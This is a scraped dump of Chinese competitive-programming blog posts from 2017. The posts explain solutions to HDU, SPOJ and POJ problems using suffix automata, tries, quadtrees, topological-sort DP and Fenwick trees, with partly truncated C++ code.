SAM上的一个节点表示的是一段长度从[st[st[i].link],len+1,st[i].len]的字符串。 考虑其right集合，如果right集合中最大的r设为rightmost,最小的r设为leftmost. 那么如果rightmost-leftmost+1 \u003e st[i].len ，说明什么呢？ 说明该状态所表示的最长的字符串能够至少放下两个而不重叠。 即从[leftmost-st[i].len+1,leftmost]一段 和 从[rightmost-st[i].len+1,rightmost]一段。 如果最长的能放下，那么其他的也一定能放下。因此对答案贡献为st[i].len - st[st[i].link].len 如果rightmost-leftmost+1\u003c=st[i].len，也就是rightmost-leftmost\u003cst[i].len 这个时候长的字符串因为重叠了不能出现2次，但是短的字符串仍然可以贡献答案。 考虑如下图： 此时对答案的贡献为rightmost-leftmost+1 - (st[st[i].link].len+1),化简得到rightmost-leftmost-st[st[i].link].len 综合2种情况，SAM中每个节点对答案的贡献是** min(rightmost-leftmost,st[i].len)-st[st[i].link].len** 需要注意的是只有在st[i].link存在并且rightmost-leftmost\u003est[st[i].link].len 时 才更新答案 leftmost可以在构建的时候直接求出,rightmost用拓扑序更新下即可。 1/* *********************************************** 2Author :111qqz 3Created Time :2017年11月08日 星期三 18时50分18秒 4File Name :4436.cpp 5************************************************ */ 6 7#include \u003cbits/stdc++.h\u003e 8#define PB push_back 9#define fst first 10#define sec second 11#define lson l,m,rt\u003c\u003c1 12#define rson m+1,r,rt\u003c\u003c1|1 13#define ms(a,x) memset(a,x,sizeof(a)) 14typedef long long LL; 15#define pi pair \u003c int ,int \u003e 16#define MP make_pair 17 18using namespace std; 19const double eps = 1E-8; 20const int dx4[4]={1,0,0,-1}; 21const int dy4[4]={0,-1,1,0}; 22const int inf = 0x3f3f3f3f; 23#define MAXALP 30 24const int mod = 2012; 25struct state 26{ 27 int len, link, nxt[MAXALP]; 28 int leftmost; //由于要求出现位置最小的，所以维护某个状态的right集合中r值最小的 29 int rightmost; 30}; 31const int N =1E3+7; 32state st[N*2]; 33int sz, last,rt; 34char s[N]; 35int cnt[2*N],rk[2*N];//for radix sort 36void sa_init() 37{ 38 sz = 0; 39 last = rt = ++sz; 40 st[1].len = 0; 41 st[1].link=-1","date":"2017-11-11","externalUrl":null,"permalink":"/2017/11/hdu-3518/","section":"Posts","summary":"http://acm.hdu.edu.cn/showproblem.php?pid=3518 题意： # 给一个字符串，问字符串中，至少出现2次且不相交的本质不同的子串有多少个。本质不同给的子串是说存在至少一位的字母不同。","tags":["后缀自动机"],"title":"hdu 3518 Boring counting (后缀自动机)","type":"post"},{"categories":["ACM"],"content":"http://acm.hdu.edu.cn/showproblem.php?pid=6059 题意： # 含 N 个数字的 A 数组，求有多少个三元组 (i,j,k) 满足 i\u003cj\u003ck 且a[i]^a[j] \u003c a[j]^a[k] 思路: # 考虑a[i]和a[k]二进制不同位中的最高位，此时满足题意的a[j]是该位与a[i]相同，其他位任意的所有a[j]的个数。 我们可以从1..n，依次插入a[k]到trie中,插入时，顺便用num[i][j]统计二进制第i位为j的数的个数。 当要插入a[k]时，a[1]..a[k-1]已经插入到了trie中。 trie上统计当某个节点，该位为0的数的个数和该为为1的数的个数。 需要注意这样统计出的数并不能保证i\u003cj (但是可以保证i\u003ck。。。) 因为我们的trie需要额外维护一部分ext.具体解释见代码注释。 1/* *********************************************** 2Author :111qqz 3Created Time :2017年11月12日 星期日 01时30分29秒 4File Name :6059.cpp 5************************************************ */ 6 7#include \u003cbits/stdc++.h\u003e 8#define PB push_back 9#define fst first 10#define sec second 11#define lson l,m,rt\u003c\u003c1 12#define rson m+1,r,rt\u003c\u003c1|1 13#define ms(a,x) memset(a,x,sizeof(a)) 14typedef long long LL; 15#define pi pair \u003c int ,int \u003e 16#define MP make_pair 17 18using namespace std; 19const double eps = 1E-8; 20const int dx4[4]={1,0,0,-1}; 21const int dy4[4]={0,-1,1,0}; 22const int inf = 0x3f3f3f3f; 23const int N=5E5+7; 24int a[N]; 25int num[35][2];//cnt[i][j] 表示二进制表示中第i位为j的数的个数 26struct Trie 27{ 28 struct Node 29 { 30 Node *nxt[2]; 31 LL cnt[2];//需要统计前缀为某个串，该位置为0和该位置为1的个数。 32 LL ext[2]; 33 Node() 34 { 35 for ( int i = 0 ; i \u003c 2; i++) nxt[i] = NULL; 36 cnt[0]=cnt[1]=0 ; 37 ext[0]=ext[1]=0; 38 } 39 }; 40 Node *root; 41 void init() 42 { 43 root = new Node(); 44 } 45 Trie() 46 { 47 root = new Node(); 48 } 49 void Insert(int x) 50 { 51 Node *u = root; 52 for ( int i = 29 ; i \u003e= 0 ; i--) 53 { 54 int y = (x\u003e\u003ei)\u00261; 55 num[i][y]++; //统计二进制第i位为y的数的个数 56 u-\u003ecnt[y]++; //统计trie树上当前节点数的个数 57 u-\u003eext[y]+=num[i][y]; //把此时插入的数看做a[i]，那么u-\u003eext[y]就是满足j\u003c=i 的j的数目 58 //因为之后要用到，所以要提前维护 59 if (u-\u003enxt[y]==NULL) u-\u003enxt[y] = new Node(); 60 u = u-\u003enxt[y]; 61 } 62 } 63 LL Cal( int x) 64 { 65 Node *u = root; 66 LL res = 0 ; 67 for ( int i = 29 ;","date":"2017-11-11","externalUrl":null,"permalink":"/2017/11/hdu-6059/","section":"Posts","summary":"http://acm.hdu.edu.cn/showproblem.php?pid=6059 题意： # 含 N 个数字的 A 数组，求有多少个三元组 (i,j,k) 满足 i\u003cj\u003ck 且a[i]^a[j] \u003c a[j]^a[k]","tags":["trie"],"title":"hdu 6059   | 2017 Multi-University Training Contest - Team 3 Kanade's trio (trie)","type":"post"},{"categories":["ACM"],"content":"题目链接： # http://acm.hdu.edu.cn/showproblem.php?pid=5558 题意： # 说了一大堆。。其实就是询问位置i开始的后缀和以位置[0…i - 1]开始的所有后缀中最大匹配的公共前缀长度 思路： # 这个动态的过程很容易想到SAM啊。。 所以就一边匹配。。一边构建SAM就好了。。 需要注意的是，如果有多个最长，需要输出最左边的位置。 因此多维护一个leftmost,表示某个字符串第一次出现的结尾的位置。 1/* *********************************************** 2Author :111qqz 3Created Time :2017年11月08日 星期三 18时50分18秒 4File Name :4436.cpp 5************************************************ */ 6 7#include \u003cbits/stdc++.h\u003e 8#define PB push_back 9#define fst first 10#define sec second 11#define lson l,m,rt\u003c\u003c1 12#define rson m+1,r,rt\u003c\u003c1|1 13#define ms(a,x) memset(a,x,sizeof(a)) 14typedef long long LL; 15#define pi pair \u003c int ,int \u003e 16#define MP make_pair 17 18using namespace std; 19const double eps = 1E-8; 20const int dx4[4]={1,0,0,-1}; 21const int dy4[4]={0,-1,1,0}; 22const int inf = 0x3f3f3f3f; 23#define MAXALP 30 24struct state 25{ 26 int len, link, nxt[MAXALP]; 27 int leftmost; //由于要求出现位置最小的，leftmost表示第一次出现的右端点位置。 28}; 29const int N =1E5+7; 30state st[N*2]; 31int sz, last,rt; 32char s[N]; 33int cnt[2*N],rk[2*N];//for radix sort 34void sa_init() 35{ 36 sz = 0; 37 last = rt = ++sz; 38 st[1].len = 0; 39 st[1].link=-1; 40 ms(st[1].nxt,-1); 41} 42void sa_extend(int c,int head) 43{ 44 int cur = ++sz; 45 st[cur].len = st[last].len + 1; 46 st[cur].leftmost = head; 47 memset(st[cur].nxt, -1, sizeof(st[cur].nxt)); 48 int p; 49 for (p = last; p != -1 \u0026\u0026 st[p].nxt[c] == -1; p = st[p].link) 50 st[p].nxt[c] = cur; 51 if (p == -1) { 52 st[cur].link = rt; 53 } else { 54 int q = st[p].nxt[c]; 55 if (st[p].len + 1 == st[q].len) { 56 st[cur].link = q; 57 } else { 58 int clone = ++sz ; 59 st[clone].len = st[p].len + 1; 60 st[clone].link = st[q].link; 61 memcpy(st[clone].nxt, st[q].nxt, sizeof(st[q].nxt)); 62 st[clone].leftmost = st[q].leftmost; 63 for (; p != -1 \u0026\u0026 st[p].nxt[c] ","date":"2017-11-11","externalUrl":null,"permalink":"/2017/11/hdu-5558/","section":"Posts","summary":"题目链接： # http://acm.hdu.edu.cn/showproblem.php?pid=5558","tags":["后缀自动机"],"title":"hdu 5558 |  2015ACM/ICPC亚洲区合肥站 G Alice's Classified Message (后缀自动机)","type":"post"},{"categories":["ACM"],"content":"题意： # 求n个串的最长公共子串，n\u003c=10 思路： # 不会啊orz 先放一波参考资料\u0026题解好了。 codeforces_Understanding Suffix Automaton in depth code风景区_spoj_lcs2 code风景区_sam教学 candy SPOJ 1812 LCS2 [后缀自动机 DP] 首先参考下2个串的LCS的做法spoj-lcs 卧槽终于懂了… 一个串在上面走的时候记录与每个状态公共子串的最大值，注意出现次数向父亲传递，一个状态能到达说明了Suffix Link指向的状态可以取到最大子串，这一步对val后基数排序然后倒着更新就行了 …代码之后补 关键是理解这句话：一个状态能到达说明了Suffix Link指向的状态可以取到最大子串 比如如果状态S（从初始状态到S状态所表示的子串是abcbc） 能够最长向前匹配的长度是x,那么状态s的par的状态Q(从初始状态到Q状态所表示的子串是bc）也至少为x. 所以dp[link[v]] = Max{dp[link[v]],dp[v]} 妈个鸡。。。 没事改什么字符集大小啊。。。 上道题做的是数字。。就手贱把字符集的大小改成了12.。。忘了改回来。。WA到死。。。 1/* *********************************************** 2Author :111qqz 3Created Time :2017年11月08日 星期三 18时50分18秒 4File Name :4436.cpp 5************************************************ */ 6 7#include \u003cbits/stdc++.h\u003e 8#define PB push_back 9#define fst first 10#define sec second 11#define lson l,m,rt\u003c\u003c1 12#define rson m+1,r,rt\u003c\u003c1|1 13#define ms(a,x) memset(a,x,sizeof(a)) 14typedef long long LL; 15#define pi pair \u003c int ,int \u003e 16#define MP make_pair 17 18using namespace std; 19const double eps = 1E-8; 20const int dx4[4]={1,0,0,-1}; 21const int dy4[4]={0,-1,1,0}; 22const int inf = 0x3f3f3f3f; 23#define MAXALP 30 24const int mod = 2012; 25struct state 26{ 27 int len, link, nxt[MAXALP]; 28}; 29const int N =1E5+7; 30state st[N*2]; 31int sz, last,rt; 32char s[N]; 33int cnt[2*N],rk[2*N];//for radix sort 34int dp[2*N],maxlen[2*N]; 35void sa_init() 36{ 37 sz = 0; 38 last = rt = ++sz; 39 st[1].len = 0; 40 st[1].link=-1; 41 ms(st[1].nxt,-1); 42} 43void sa_extend(int c) 44{ 45 int cur = ++sz; 46 st[cur].len = st[last].len + 1; 47 memset(st[cur].nxt, -1, sizeof(st[cur].nxt)); 48 int p; 49 for (p = last; p != -1 \u0026\u0026 st[p].nxt[c] == -1; p = st[p].link) 50 st[p].nxt[c] = cur; 51 if (p == -1) { 52 st[cur].link = rt; 53 } else { 54 int q = st[p].nxt[c]; 55 if (st[p].len + ","date":"2017-11-11","externalUrl":null,"permalink":"/2017/11/spoj-lcs2/","section":"Posts","summary":"题意： # 求n个串的最长公共子串，n\u003c=10","tags":["dp","后缀自动机"],"title":"SPOJ  LCS2 Longest Common Substring 2[后缀自动机+dp]","type":"post"},{"categories":["ACM"],"content":"http://acm.hdu.edu.cn/showproblem.php?pid=4819 题意： # 给你一个n*n的矩阵， 每个点是一个数字， Q个操作，每次选择一个子矩阵， 把中心元素替换成子矩阵中最大值和最小值之和的二分之一。 思路: # 显然是一个二维线段树….. 然而菜鸡如我，并没有写过二维线段树啊？ 那怎么办呢 一首《凉凉》送给自己 然而我们还有四叉树2333 2A，写错一个地方。第一次写四叉树，orz 1#include \u003cbits/stdc++.h\u003e 2#define ms(a,x) memset(a,x,sizeof(a)) 3#define lowbit(x) (x\u0026(-x)) 4using namespace std; 5typedef long long LL; 6const double eps = 1e-8; 7const double PI = acos(-1.0); 8const int N=805; 9int n; 10int a[N][N]; 11struct Tree 12{ 13 int mn,mx; 14 Tree() 15 { 16 mn = 1E9; 17 mx = 0; 18 } 19 void init() 20 { 21 mn = 1E9; 22 mx = 0; 23 } 24}tree[N*10000]; 25int _max( int a,int b,int c,int d) 26{ 27 int ret = max(a,b); 28 ret = max(ret,c); 29 ret = max(ret,d); 30 return ret; 31} 32int _min( int a,int b,int c,int d) 33{ 34 int ret = min(a,b); 35 ret = min(ret,c); 36 ret = min(ret,d); 37 return ret; 38} 39void PushUp( int rt) 40{ 41// cout\u003c\u003c\"rt:\"\u003c\u003crt\u003c\u003cendl; 42 tree[rt].mn = _min(tree[rt*4+1].mn,tree[rt*4+2].mn,tree[rt*4+3].mn,tree[rt*4+4].mn); 43 tree[rt].mx = _max(tree[rt*4+1].mx,tree[rt*4+2].mx,tree[rt*4+3].mx,tree[rt*4+4].mx); 44} 45 46 47void insert( int idx,int lx,int rx,int ly,int ry,int X,int Y,int val) 48{ 49// cout\u003c\u003c\"val:\"\u003c\u003cval\u003c\u003cendl; 50 if (lx==rx\u0026\u0026ly==ry) 51 { 52 tree[idx].mn = tree[idx].mx = val; 53// cout\u003c\u003c\"fuck\"\u003c\u003c\" val:\"\u003c\u003cval\u003c\u003c\" mn:\"\u003c\u003ctree[idx].mn \u003c\u003c\" mx:\"\u003c\u003ctree[idx]; 54 return; 55 } 56 int mx = (lx+rx) \u003e\u003e 1; 57 int my = (ly+ry) \u003e\u003e 1; 58 if (X\u003c=mx\u0026\u0026Y\u003c=my) insert(idx*4+1,lx,mx,ly,my,X,Y,val); 59 if (X\u003c=mx\u0026\u0026Y\u003e=my+1) insert(idx*4+2,lx,mx,my+1,ry,X,Y,val); 60 if (X\u003e=mx+1\u0026\u0026Y\u003c=my) insert(idx*4+3,mx+1,rx,ly,my,X,Y,val); 61 if (X\u003e=mx+1\u0026\u0026Y\u003e=my+1) insert(idx*4+4,mx+1,rx,my+1,ry,X,Y,val); 62// puts(\"miao\"); 63 PushUp(idx); 64} 65int queryMN( int idx,int lx,int rx,int ly,int ry,int Lx,int Rx,int Ly,int Ry) 66{ 67 if (Lx\u003c=lx \u0026\u0026 Rx\u003e=rx \u0026\u0026 Ly\u003c=l","date":"2017-11-09","externalUrl":null,"permalink":"/2017/11/hdu-4819/","section":"Posts","summary":"http://acm.hdu.edu.cn/showproblem.php?pid=4819 题意： # 给你一个n*n的矩阵， 每个点是一个数字， Q个操作，每次选择一个子矩阵， 把中心元素替换成子矩阵中最大值和最小值之和的二分之一。","tags":["二维线段树","四叉树"],"title":"hdu 4819  2013 Asia Regional Changchun  G  (四叉树|| 二维线段树单点更新 模板题)","type":"post"},{"categories":["ACM"],"content":"http://acm.hdu.edu.cn/showproblem.php?pid=4436 题意： # 给出n个仅由数字组成的字符串，问n个字符串的所有不同子串的和。 思路： # SAM水题 从初始状态开始，走过所有路径，就是该SAM表示的所有的（不重复）子串。 因此只需要从根节点按照拓扑序（这回是根据len从小到大）转移好了。 考虑num[i]表示从SAM中的init状态到i状态能表示的子串的数量。 dp[i]表示从SAM中的init状态到i状态所表示的子串对应的和（也就是到该节点的子串的答案） 那么对于SAM中一个u-\u003ev（其中u和v是状态，设转移边为j，j属于0..9）的转移 有num[v]+=num[u] dp[v] = dp[u] * 10 + num[u] * j 初始根节点num[rt]=1,表示唯一的空串。 需要注意，前缀0的数不考虑，所以SAM中 init状态不转移0这条边。 1/* *********************************************** 2Author :111qqz 3Created Time :2017年11月08日 星期三 18时50分18秒 4File Name :4436.cpp 5************************************************ */ 6 7#include \u003cbits/stdc++.h\u003e 8#define PB push_back 9#define fst first 10#define sec second 11#define lson l,m,rt\u003c\u003c1 12#define rson m+1,r,rt\u003c\u003c1|1 13#define ms(a,x) memset(a,x,sizeof(a)) 14typedef long long LL; 15#define pi pair \u003c int ,int \u003e 16#define MP make_pair 17 18using namespace std; 19const double eps = 1E-8; 20const int dx4[4]={1,0,0,-1}; 21const int dy4[4]={0,-1,1,0}; 22const int inf = 0x3f3f3f3f; 23#define MAXALP 12 24const int mod = 2012; 25struct state 26{ 27 int len, link, nxt[MAXALP]; 28}; 29const int N =1E5+7; 30state st[N*2]; 31int sz, last,rt; 32char s[N]; 33int cnt[2*N],rk[2*N];//for radix sort 34void sa_init() 35{ 36 sz = 0; 37 last = rt = ++sz; 38 st[1].len = 0; 39 st[1].link=-1; 40 ms(st[1].nxt,-1); 41 ms(cnt,0); 42} 43void sa_extend(int c) 44{ 45 int cur = ++sz; 46 st[cur].len = st[last].len + 1; 47 memset(st[cur].nxt, -1, sizeof(st[cur].nxt)); 48 int p; 49 for (p = last; p != -1 \u0026\u0026 st[p].nxt[c] == -1; p = st[p].link) 50 st[p].nxt[c] = cur; 51 if (p == -1) { 52 st[cur].link = rt; 53 } else { 54 int q = st[p].nxt[c]; 55 if (st[p].len + 1 == st[q].len) { 56 st[cur].link = q; 57 } else { 58 int clone = ++sz ; 59 st[clone].len = st[p].len + 1; 60 st[clone].link = st[q].link; 61 m","date":"2017-11-09","externalUrl":null,"permalink":"/2017/11/hdu-4436/","section":"Posts","summary":"http://acm.hdu.edu.cn/showproblem.php?pid=4436 题意： # 给出n个仅由数字组成的字符串，问n个字符串的所有不同子串的和。","tags":["后缀自动机"],"title":"hdu 4436 | 2012 Asia Tianjin Regional Contest  str2int  (dp+后缀自动机，多串建立)","type":"post"},{"categories":["ACM"],"content":"http://www.spoj.com/problems/SUBLEX/en/ 题意： # 给一个字符串，每次询问字典序第k大的不重复子串。 思路： # 先做个拓扑dp，求出SAM上，一个状态到种态的路径数。 拓扑dp其实就是按照拓扑序的dp啦… 然后从SAM的初始态开始，每次字典序从小到大得贪心寻找。思想类似可持久化线段树求区间第k大。 1/* *********************************************** 2Author :111qqz 3Created Time :2017年11月08日 星期三 18时50分18秒 4File Name :sublex.cpp 5************************************************ */ 6 7#include \u003cbits/stdc++.h\u003e 8#define PB push_back 9#define fst first 10#define sec second 11#define lson l,m,rt\u003c\u003c1 12#define rson m+1,r,rt\u003c\u003c1|1 13#define ms(a,x) memset(a,x,sizeof(a)) 14typedef long long LL; 15#define pi pair \u003c int ,int \u003e 16#define MP make_pair 17 18using namespace std; 19const double eps = 1E-8; 20const int dx4[4]={1,0,0,-1}; 21const int dy4[4]={0,-1,1,0}; 22const int inf = 0x3f3f3f3f; 23#define MAXALP 26 24 25struct state 26{ 27 int len, link, nxt[MAXALP]; 28}; 29const int N =3E5+7; 30state st[N*2]; 31int sz, last,rt; 32char s[N]; 33int cnt[2*N],a[2*N];//for radix sort 34int sum[2*N]; //表示状态i到终态的路径数 35void sa_init() 36{ 37 sz = 0; 38 last = rt = ++sz; 39 st[1].len = 0; 40 st[1].link=-1; 41 ms(st[1].nxt,-1); 42 ms(cnt,0); 43} 44 45void sa_extend(int c) 46{ 47 int cur = ++sz; 48 st[cur].len = st[last].len + 1; 49 memset(st[cur].nxt, -1, sizeof(st[cur].nxt)); 50 int p; 51 for (p = last; p != -1 \u0026\u0026 st[p].nxt[c] == -1; p = st[p].link) 52 st[p].nxt[c] = cur; 53 if (p == -1) { 54 st[cur].link = rt; 55 } else { 56 int q = st[p].nxt[c]; 57 if (st[p].len + 1 == st[q].len) { 58 st[cur].link = q; 59 } else { 60 int clone = ++sz ; 61 st[clone].len = st[p].len + 1; 62 st[clone].link = st[q].link; 63 memcpy(st[clone].nxt, st[q].nxt, sizeof(st[q].nxt)); 64 for (; p != -1 \u0026\u0026 st[p].nxt[c] == q; p = st[p].link) 65 st[p].nxt[c] = clone; 66 st[q].link = st[cur].link = clone; 67 } 68 } 69 last = cur; 70} 71void query( int k","date":"2017-11-08","externalUrl":null,"permalink":"/2017/11/spoj-sublex/","section":"Posts","summary":"http://www.spoj.com/problems/SUBLEX/en/ 题意： # 给一个字符串，每次询问字典序第k大的不重复子串。","tags":["后缀自动机"],"title":"SPOJ  SUBLEX   Lexicographical Substring Search （ 后缀自动机）","type":"post"},{"categories":["ACM"],"content":"http://www.spoj.com/problems/NSUBSTR/en/ 题意： # f[i]指长度为i的串出现次数的最大值。这里的不同出现指，可以有重复串，只要起始位置不同就视为不同的出现。 求f[1]..f[lenth]。 思路： # 我们知道，SAM上的节点是right集合的等价类。 一个子串的right集合是指在一个母串中，某个子串所有出现位置的右端点的集合。 如果两个子串的right集合完全相同，那么就可以归结为同一个节点，也就是说这两个子串对于SAM是等价的。 因为在SAM上，这两个子串后，添加若干字符得到的后缀都是一样的。 所以一个SAM节点的个数，就是right集合等价类的个数（如果不考虑初始状态） 对于SAM某一个节点，其能表示的子串有一个范围，设为[MIN,MAX] SAM的一个节点能表示的子串的含义是说，这些子串的right集合相同。 而一个子串出现的次数就是其right集合的大小。 考虑SAM上的某个节点，其表示的长度区间在[MIN,MAX]的子串都出现了|right|次 如果我们直接从MIN更新到MAX有点太暴力了，实际上这里我们可以只更新f[MAX] 由于长度i-1的子串出现的次数一定大于等于长度为i的子串出现的次数，所以最后长度从大到小更新f即可。 现在的问题就变成了如何求right集合。 实际上我们不需要知道right集合的具体组成，只需要知道right集合的大小。 考虑一棵parent树，树上某个节点的right集合就是该节点的所有儿子节点的right集合的并集 因此我们只需要在parent上自低向上更新right集合的大小就可以了。 如何保证在parent树上是自底向上更新呢？ 我们只需要按照len,也就是SAM中所有节点能表示的子串的MAX值从大到小的顺序更新right集合。 原因是parent树上，儿子的len一定比父亲的len长。 注意到，对于parent树上的叶子节点，其right集合是1，这也是我们的初始状态。 部分实现细节见代码注释。 关于SAM的详细学习笔记日后补 20171109Update: 注释写错了一处，a[1]应该是len最短的状态的标号，之前写成了最长的。 1/* *********************************************** 2Author :111qqz 3Created Time :2017年11月08日 星期三 18时50分18秒 4File Name :nsubstr.cpp 5************************************************ */ 6 7#include \u003cbits/stdc++.h\u003e 8#define PB push_back 9#define fst first 10#define sec second 11#define lson l,m,rt\u003c\u003c1 12#define rson m+1,r,rt\u003c\u003c1|1 13#define ms(a,x) memset(a,x,sizeof(a)) 14typedef long long LL; 15#define pi pair \u003c int ,int \u003e 16#define MP make_pair 17 18using namespace std; 19const double eps = 1E-8; 20const int dx4[4]={1,0,0,-1}; 21const int dy4[4]={0,-1,1,0}; 22const int inf = 0x3f3f3f3f; 23#define MAXALP 26 24 25struct state 26{ 27 int len, link, nxt[MAXALP]; 28}; 29const int N =3E5+7; 30state st[N*2]; 31int Right[2*N]; //right[i]表示第i个状态的right集合大小 32int sz, last,rt; 33char s[N]; 34int cnt[2*N],a[2*N];//for radix sort 35void sa_init() 36{ 37 sz = 0; 38 last = rt","date":"2017-11-08","externalUrl":null,"permalink":"/2017/11/spoj-nsubstr/","section":"Posts","summary":"http://www.spoj.com/problems/NSUBSTR/en/ 题意： # f[i]指长度为i的串出现次数的最大值。这里的不同出现指，可以有重复串，只要起始位置不同就视为不同的出现。","tags":["后缀自动机"],"title":"spoj nsubstr Substrings (后缀自动机 模板题)","type":"post"},{"categories":["ACM"],"content":"http://poj.org/problem?id=1949 # 题意： # 有n个任务，第i个任务需要时间xi来完成，并且第i个任务必须在它 “前面的” 某些任务完成之后才能开始。 给你任务信息，问你最短需要多少时间来完成任务。 思路： # 拓扑排序+dp 拓扑排序的过程中做个dp，可以保证dp的顺序… 对于这道题，找出每条依赖链，然后做dp即可。 1/* *********************************************** 2Author :111qqz 3Created Time :2017年11月07日 星期二 13时52分27秒 4File Name :3249.cpp 5************************************************ */ 6 7#include \u003ciostream\u003e 8#include \u003ccmath\u003e 9#include \u003cqueue\u003e 10#include \u003ccstdio\u003e 11#include \u003ccstring\u003e 12#define PB push_back 13#define fst first 14#define sec second 15#define lson l,m,rt\u003c\u003c1 16#define rson m+1,r,rt\u003c\u003c1|1 17#define ms(a,x) memset(a,x,sizeof(a)) 18typedef long long LL; 19#define pi pair \u003c int ,int \u003e 20#define MP make_pair 21 22using namespace std; 23const double eps = 1E-8; 24const int dx4[4]={1,0,0,-1}; 25const int dy4[4]={0,-1,1,0}; 26const int inf = 0x3f3f3f3f; 27const int N=1E5+7; 28vector \u003cint\u003eedge[N]; 29int in[N],out[N]; 30int n; 31int dp[N]; 32int val[N]; 33void init() 34{ 35 for ( int i = 0 ; i \u003c N ; i++) edge[i].clear(); 36 ms(in,0); 37 ms(out,0); 38 ms(dp,0xca); 39 // cout\u003c\u003c\"dp:\"\u003c\u003cdp[1]\u003c\u003cendl; 40} 41void topo() 42{ 43 queue\u003cint\u003eQ; 44 for ( int i = 1 ; i \u003c= n ; i++) 45 if (in[i]==0) Q.push(i),dp[i] = val[i]; 46 47 while (!Q.empty()) 48 { 49 int cur = Q.front(); 50// cout\u003c\u003c\"cur:\"\u003c\u003ccur\u003c\u003cendl; 51 Q.pop(); 52 int siz = edge[cur].size(); 53 for ( int i = 0 ; i \u003c siz ; i++) 54 { 55 int v = edge[cur][i]; 56// printf(\"%d-\u003e%d val[v]:%d dp[cur]: %d dp[v]:%d \",cur,v,val[v],dp[cur],dp[v]); 57 dp[v] = max(dp[v],dp[cur]+val[v]); 58// printf(\"new dp[v]:%d\\n\",dp[v]); 59 in[v]--; 60 if (in[v]==0) Q.push(v); 61 } 62 } 63} 64void pr() 65{ 66 for ( int i = 1 ; i \u003c= n ; i++) printf(\"%d%c\",dp[i],i==n?'\\n':' '); 67} 68int main() 69{ 70#ifndef ONLINE_JUDGE 71 freopen(\"./in.txt\",\"r\",stdin); 72#endif 73 while (~scanf(\"%d\"","date":"2017-11-08","externalUrl":null,"permalink":"/2017/11/poj-1949/","section":"Posts","summary":"http://poj.org/problem?id=1949 # 题意： # 有n个任务，第i个任务需要时间xi来完成，并且第i个任务必须在它 “前面的” 某些任务完成之后才能开始。","tags":["算法竞赛"],"title":"poj 1949 Chores (拓扑排序+dp)","type":"post"},{"categories":["ACM"],"content":"https://vjudge.net/problem/47450/origin 题意： # 有一个含有n个数的序列，m个询问。问 [l, r] 区间内与所有数都互质的数有几个？ 思路： # 想到了预处理每个数最左最右的，最远的互质的数的范围。。 之后对于询问区间[l,r]，我们要知道 对于 i\u003e=L \u0026\u0026 i \u003c= R 并且 a[i].l\u003c=L，a[i].r\u003e=R的i的个数… 没有想到怎么维护,gg 转载一段题解： 先算出每个数的有效范围，l[i]，r[i]代表与第i个数一直互质到的最左端和最右端。这个处理方法是，预处理出一张因子表。然后对每个输入的数，判断其因子出现的最接近它的位置。从左到右扫一遍求出l[i]，从右到左扫一遍求出r[i]；我们还需要用一个vector记录下左边界为i时的所有数。 我们思考一个范围内，当一个数的l[i]和r[i]都在范围之外时，这个数会被统计在内。反过来讲就是一个范围在一个数的边界之内，当前的数会被统计到范围之内。 我们先对问题进行离线处理，先根据问题的左边界排序。我们需要维护一个树状数组来统计和增减值。 然后我们按照i从1到n扫一遍，i代表的意义是左边界。 当扫到第i个数时，我们统计左边界为i+1的问题(这样范围一定满足左边界，因为右边界接下来也进行了处理，所以可以直接统计）。 我们还需要更新第i个数。i的意义是左边界，因为之后统计的问题左边界都大于i，都满足。所以我们找到所有左边界为i的数，将其+1处理。然后右边界-1处理。这样如果问题的边界大于右边界的话，这个数就不会统计在内。 最后处理完i后，因为以后问题的左边界都大于i，所以第i个数不会再被统计了，所以我们要除去第i个数的影响，就是把其右边界+1（自身为什么不处理，因为处不处理都一样，不会在涉及到它本身了） 转载又一段题解： 先预处理出来每个数的贡献区间，每个数的贡献区间是 [左边最近不互质数的位置，右边最近不互质数的位置] ，现在问题就转化为了求区间 [L, R] 中有几个数的贡献区间能完整覆盖 [L, R] 区间。但是数据范围挺大的，可以考虑用树状数组离线处理来达到优化的目的。先对所有的查询进行排序 (按照L升序排列) ，然后从左到右依次处理。我们用树状数组区间和sum [L, R] 表示区间[L, R]中符合题意的有多少个数。假设现在需要查询 [L, R] 区间，我们可以考虑贡献区间L[i]\u003cL的数，可以在i位置加 1，然后在R[i]位置减1。这样处理的话必须要保证L[i]小于查询区间L的值，以及i要在查询区间内。所以我们每次向后移动的时候，要在树状数组中减去当前位置的数对树状数组的影响，也就是进行操作 i 位置减1，R[i]位置加1. 分析到这里这个题目就变成了一个比较水的利用树状数组进行点更新，区间查询的题目了，也可以用线段树搞的。","date":"2017-11-08","externalUrl":null,"permalink":"/2017/11/hdu-4777/","section":"Posts","summary":"https://vjudge.net/problem/47450/origin 题意： # 有一个含有n个数的序列，m个询问。问 [l, r] 区间内与所有数都互质的数有几个？","tags":["树状数组"],"title":"hdu 4777  Rabbit Kingdom (树状数组+预处理)","type":"post"},{"categories":["ACM"],"content":"http://poj.org/problem?id=3249 题意： # 给一个DAG,现要从一条入度为0的点到一个出度为0的点，问最大点权和。 思路： # 其实比较容易想到搜…不过复杂度会炸？ 由于到一个点的最大点权和，需要更新完所有到达它的路线之后才能确定。 容易联想到拓扑排序，我们可以在拓扑排序的同时做dp dp[v] = max(dp[v],dp[u]+a[v])，初始化对于入度为0的点，dp[i] = val[i]. 其实拓扑+dp是一种比较一般化的套路…？ 因为拓扑保证了更新顺序 1/* *********************************************** 2Author :111qqz 3Created Time :2017年11月07日 星期二 13时52分27秒 4File Name :3249.cpp 5************************************************ */ 6 7#include \u003ciostream\u003e 8#include \u003ccmath\u003e 9#include \u003cqueue\u003e 10#include \u003ccstdio\u003e 11#include \u003ccstring\u003e 12#define PB push_back 13#define fst first 14#define sec second 15#define lson l,m,rt\u003c\u003c1 16#define rson m+1,r,rt\u003c\u003c1|1 17#define ms(a,x) memset(a,x,sizeof(a)) 18typedef long long LL; 19#define pi pair \u003c int ,int \u003e 20#define MP make_pair 21 22using namespace std; 23const double eps = 1E-8; 24const int dx4[4]={1,0,0,-1}; 25const int dy4[4]={0,-1,1,0}; 26const int inf = 0x3f3f3f3f; 27const int N=1E5+7; 28vector \u003cint\u003eedge[N]; 29int in[N],out[N]; 30int n,m; 31int dp[N]; 32int val[N]; 33void init() 34{ 35 for ( int i = 0 ; i \u003c N ; i++) edge[i].clear(); 36 ms(in,0); 37 ms(out,0); 38 ms(dp,0xca); 39 // cout\u003c\u003c\"dp:\"\u003c\u003cdp[1]\u003c\u003cendl; 40} 41void topo() 42{ 43 queue\u003cint\u003eQ; 44 for ( int i = 1 ; i \u003c= n ; i++) 45 if (in[i]==0) Q.push(i),dp[i] = val[i]; 46 47 while (!Q.empty()) 48 { 49 int cur = Q.front(); 50// 